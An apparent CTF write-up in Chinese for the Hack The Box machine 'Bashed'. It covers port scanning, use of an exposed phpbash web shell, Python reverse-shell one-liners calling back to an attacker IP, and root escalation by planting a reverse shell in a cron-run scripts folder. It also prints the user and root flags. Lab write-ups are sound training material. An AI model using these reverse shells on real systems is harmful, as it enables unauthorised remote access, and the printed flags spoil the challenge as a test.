[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升

Information Gathering

IP Address Opening Ports
10.10.10.68 TCP:80

$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.68

bash 复制代码
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

PHP Bash

$ dirsearch -u http://10.10.10.68

http://10.10.10.68/dev/

http://10.10.10.68/dev/phpbash.php

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

User.txt

8f7df2f47989e214ab11a888ee378946

www-data to scriptmanager

$ sudo -l

$ sudo -u scriptmanager ./reverse.sh

Privilege Escalation : Python cron jobs

$ ./pspy32

$ cd /scripts;touch 1.py

python 复制代码
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.16",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

$ wget http://10.10.16.16/reverse.py

Root.txt

96c6dadfc0c09eb783c4d2e614205ef9

相关推荐
hongjianMa6 分钟前
ModuleNotFoundError No module named ‘torch_geometric‘未找到
python
火兮明兮18 分钟前
Python训练第四十五天
开发语言·python
zdy126357468823 分钟前
python43天
python·深度学习·机器学习
搏博1 小时前
将图形可视化工具的 Python 脚本打包为 Windows 应用程序
开发语言·windows·python·matplotlib·数据可视化
硅基茶水间1 小时前
「轻量级AI编程桌面软件」代码上下文一键搞定|已开源
python
Hockor2 小时前
写给前端的 Python 教程三(字符串驻留和小整数池)
前端·后端·python
网安小张2 小时前
解锁FastAPI与MongoDB聚合管道的性能奥秘
数据库·python·django
GeekAGI2 小时前
Python 定时器框架
python
KENYCHEN奉孝2 小时前
Pandas和Django的示例Demo
python·django·pandas
拾零吖2 小时前
《Pytorch深度学习实践》ch8-多分类
人工智能·pytorch·python